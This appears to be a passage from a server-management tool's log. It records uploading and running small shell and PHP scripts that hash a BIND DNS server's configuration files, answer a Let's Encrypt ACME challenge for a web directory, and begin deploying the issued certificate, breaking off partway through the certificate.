MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-06-09 11:26:43: Establishing a connection
2026-06-09 11:27:06: Establishing a connection
2026-06-09 11:27:06: 

PUT: /tmp/pkp222795

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-06-09 11:27:06: 

runuser -l bind -s /bin/bash -c '/tmp/pkp222795; rm /tmp/pkp222795'

2026-06-09 11:27:06: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 9cb837c312618417daea16d794ea198b
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= b23222a1b0723ecf0760bd68b4d2a070
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= f528c9aa02ebb4638264fc82862875f3
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-06-09 11:27:25: Establishing a connection
2026-06-09 11:27:25: Establishing a connection
2026-06-09 11:27:25: 

PUT: /tmp/pkp817369

#!/bin/bash
if [ -d "/var/www/patientapps_beta/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-06-09 11:27:25: 

chmod 755 /tmp/pkp817369; /tmp/pkp817369; rm /tmp/pkp817369

2026-06-09 11:27:25: 


1


2026-06-09 11:27:26: Establishing a connection
2026-06-09 11:27:26: 

PUT: /tmp/pkp744529

#!/bin/bash
mkdir -p "/var/www/patientapps_beta/.well-known/acme-challenge/"
cd "/var/www/patientapps_beta/.well-known/acme-challenge/"
cat > asBoFHEf5S5jCqgYfm4RqoV8O-2vSRLzPytzVLBiLyk <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
asBoFHEf5S5jCqgYfm4RqoV8O-2vSRLzPytzVLBiLyk.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 asBoFHEf5S5jCqgYfm4RqoV8O-2vSRLzPytzVLBiLyk


2026-06-09 11:27:26: 

chmod 755 /tmp/pkp744529; /tmp/pkp744529; rm /tmp/pkp744529

2026-06-09 11:27:26: 




2026-06-09 11:27:30: Establishing a connection
2026-06-09 11:27:30: 

PUT: /tmp/pkp818463

#!/bin/bash
mkdir -p "/var/www/patientapps_beta/.well-known/acme-challenge/"
cd "/var/www/patientapps_beta/.well-known/acme-challenge/"
rm asBoFHEf5S5jCqgYfm4RqoV8O-2vSRLzPytzVLBiLyk


2026-06-09 11:27:30: 

chmod 755 /tmp/pkp818463; /tmp/pkp818463; rm /tmp/pkp818463

2026-06-09 11:27:30: 




2026-06-09 11:27:30: Establishing a connection
2026-06-09 11:27:31: 

PUT: /tmp/pkp987578

#!/bin/bash
temp_file=$(mktemp)
TARGET=8f796e4f4515bc3385e2df3b120b1cc8

cat > $temp_file <<'endmsg'
28:88:b7:73:aa:67:b7:74:9f:11:5a:f1:ee:50:1f:3a

-----BEGIN CERTIFICATE-----
MIIFAjCCA+qgAwIBAgISBtX/x+9EhL36mohZT7InQzN6MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjIwHhcNMjYwNjA5MTAyODU5WhcNMjYwOTA3MTAyODU4WjAfMR0wGwYDVQQD
ExRiZXRhLnBhdGllbnRhcHBzLm5ldDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCC
AQoCggEBANzFjNrvZAjxxXLr57wl6ncnzp+pGbWC+Nvm6y4jeT9E6vSPRCeduSBd
LBGDmOJojLSObFi0FqHNMxEF6de3cgoo2IQ01CM1qVSuA7Ceaj1p09qG5ltSi+e1
wVomqyaPPprg0JEc5Irjs1wD55/dI5oZ8eKZEecDuDjJUzlXNluxOtVYvtcnsfMR
exqZ60Od2yy49yf21EhzUkaSTstdI4s9xmV22+kUg0bEq3O+5gDy0mMKFcD8fJOD
4FYp2f2gSD8JjeHsdUTumNaXf5e4levaCa0S6Hj26nA7rKDgxOAiR1gUEhB0PSPw
sfMivngoNQjA8v4TEv6YO4DxeTcyaK0CAwEAAaOCAiIwggIeMA4GA1UdDwEB/wQE
AwIFoDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQW
BBQHPrcXQtDcVFGAjhsC8Nwldr+VizAfBgNVHSMEGDAWgBRAFS0mee0yIJ7fmnId
1jIfgQyBDDAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly95cjIu
aS5sZW5jci5vcmcvMB8GA1UdEQQYMBaCFGJldGEucGF0aWVudGFwcHMubmV0MBMG
A1UdIAQMMAowCAYGZ4EMAQIBMC8GA1UdHwQoMCYwJKAioCCGHmh0dHA6Ly95cjIu
